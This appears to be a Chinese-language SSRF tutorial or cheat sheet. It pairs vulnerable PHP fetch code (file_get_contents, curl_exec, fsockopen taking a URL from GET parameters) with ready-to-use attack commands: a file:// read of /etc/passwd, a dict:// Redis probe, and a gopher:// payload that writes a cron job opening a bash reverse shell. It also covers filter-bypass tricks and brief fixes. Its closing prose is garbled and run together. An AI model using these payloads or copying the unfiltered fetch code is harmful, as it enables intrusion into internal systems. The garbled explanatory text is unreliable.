$content = file_get_contents($_GET['url']);
// 通过 file_get_contents 直接获取 URL,保存到 content,之后利用
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
// 初始化一个 curl 获取 URL,之后利用
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
curl -v 'file:///etc/passwd'
// 探测 Redis
curl -v 'dict://10.11.2.1:6379/info'
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
ftp、ftps (FTP匿名访问、爆破)
tftp (UDP协议扩展)
imap/imaps/pop3/pop3s/smtp/smtps (爆破邮件用户名密码)
smb/smbs (SMB匿名访问及爆破)
telnet (连接SSH/Telnet,匿名访问及爆破)
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if(!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)){
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
echo GetFile($_GET['host'], $_GET['port'], $_GET['url']);
// 利用 fsockopen 获取 URL,fsockopen 使用 socket 跟服务器建立 tcp 连接,传输数据
0x01 SSRF
SSRFServer-Side Request Forgery服务端请求伪造SSRF攻击的目标是从外网无法访问的内部系统SSRF成因URL地址获取网页文本内容、加载指定地址的图片、下载等SSRF就是没有对外部输入的获取资源的请求作出任何过滤与限制,导致攻击者可以通过这个请求来访问其他服务器的资源URL加载图片,请求为http://www.xxx.com/1.php?image=[地址]image参数作出严格的过滤以及限制,image参数输入一个内网IPRequest的返回时间判断对应端口上的服务是否开启,可以通过遍历所有内网IP,来判断内网的服务运行情况banner信息URL,比如URL,就会发出请求banner信息,可以通过报出的错误信息、响应时间、响应包大小来判断Web应用进行指纹识别,通过访问默认文件实现CMS可以为后续的攻击提供很多帮助,大多数Web应用都有一些独特的文件和目录,通过这些文件可以识别应用的类型,甚至更详细的版本phpMyAdmin是否安装Web应用,主要是使用GET参数就可以实现的攻击(如:Struts2、SQLI等)Struts2命令执行access.log获取file协议读取本地文件等WebLogic中间件FFmpeg软件PHPPHP相关函数file_get_content()cURL - curl_exec()cURL默认支持的协议非常多Request服务一般都支持除HTTP/HTTPS以外的协议,所以可以利用上面中的一些协议来构造攻击请求去操作内网,比如file、dict、gopher等协议file协议查看文件dict协议探测端口gopher协议反弹shellgopher转换规则>或者<那么丢弃该行字符串,表示请求和返回的时间+OK那么丢弃该行字符串,表示返回的字符串\r字符串替换成%0d%0a%0agopher协议使用方法:gopher://ip:port/payloadpayload进行rawurlencode,可以使用PHP的该函数socket - fsockopen()Web功能上寻找Web功能URL地址分享网页内容URL地址获取相关需要分享的内容,如果在此功能中没有对目标地址做过滤和限制,就容易导致SSRF漏洞URL地址把原地址的网页内容调优使其适合手机屏幕浏览URL地址翻译对应网页的内容URL地址加载或下载图片API实现以及其他调用URL的功能API获取远程地址XML文件来加载内容URL关键字上寻找URL关键字URL上传图片RSSOracleMongoDBMSSQLPostgreCouchDBPOP3/IMAP/SMTPFFmpegImageMagickDocxPDFXMLFuzz方法SSRF是构造服务器发送请求的漏洞,所以可以通过抓包分析发送的请求是否是由服务器发送来判断是否存在SSRF漏洞SSRFURL地址栏上就是刚刚URL后附带的链接,说明是本地发送的请求,不是服务端发送的请求,不存在SSRF漏洞SSRF是由服务端发起的请求,所以在加载图片时候,如果存在的话,也该由服务端发起,本地浏览器的请求中不应该存在图片的请求,即不能抓到图片的请求包,所以刷新页面,抓到图片的请求包,就说明是本地请求,不存在SSRF漏洞SSRF漏洞,因为目前大多数修复SSRF的方法基本是区分内外网来做限制,如果请求一个内网图片(image=http://11.11.11.1/favicon.ico)来判断是否存在SSRF漏洞的话,可能会不太准确,因为有可能这个内网地址被过滤了,或者内网中这个图片根本不存在SSRF的情况下,接下来就需要来验证是否可以用于请求内网地址HTTP服务且存在favicon.ico文件的地址,才能验证是否存在SSRF漏洞HTTP服务的内网地址Web应用的内网地址SSRF中URL地址过滤的绕过方式@(类似邮箱)IP地址转换成进制Payload,如Struts2命令执行xip.ioJS跳转JS写一个跳转,通过跳转访问到内部服务302跳转(只允许HTTP/HTTPS协议)URL存在临时302或永久301跳转时,可以继续请求跳转后的URL的特性HTTP(S)的链接302跳转到gopher协议上302跳转服务302跳转也可以绕过白名单限制SSRF漏洞修复Web应用是去获取某一类型的文件,那么在把返回结果展示给用户之前应先验证返回的信息是否符合安全标准HTTP常用端口80、443、8080、8090IP,给请求域设置白名单HTTP和HTTPS请求301跳转HTTP/HTTPS请求301跳转到攻击请求的方式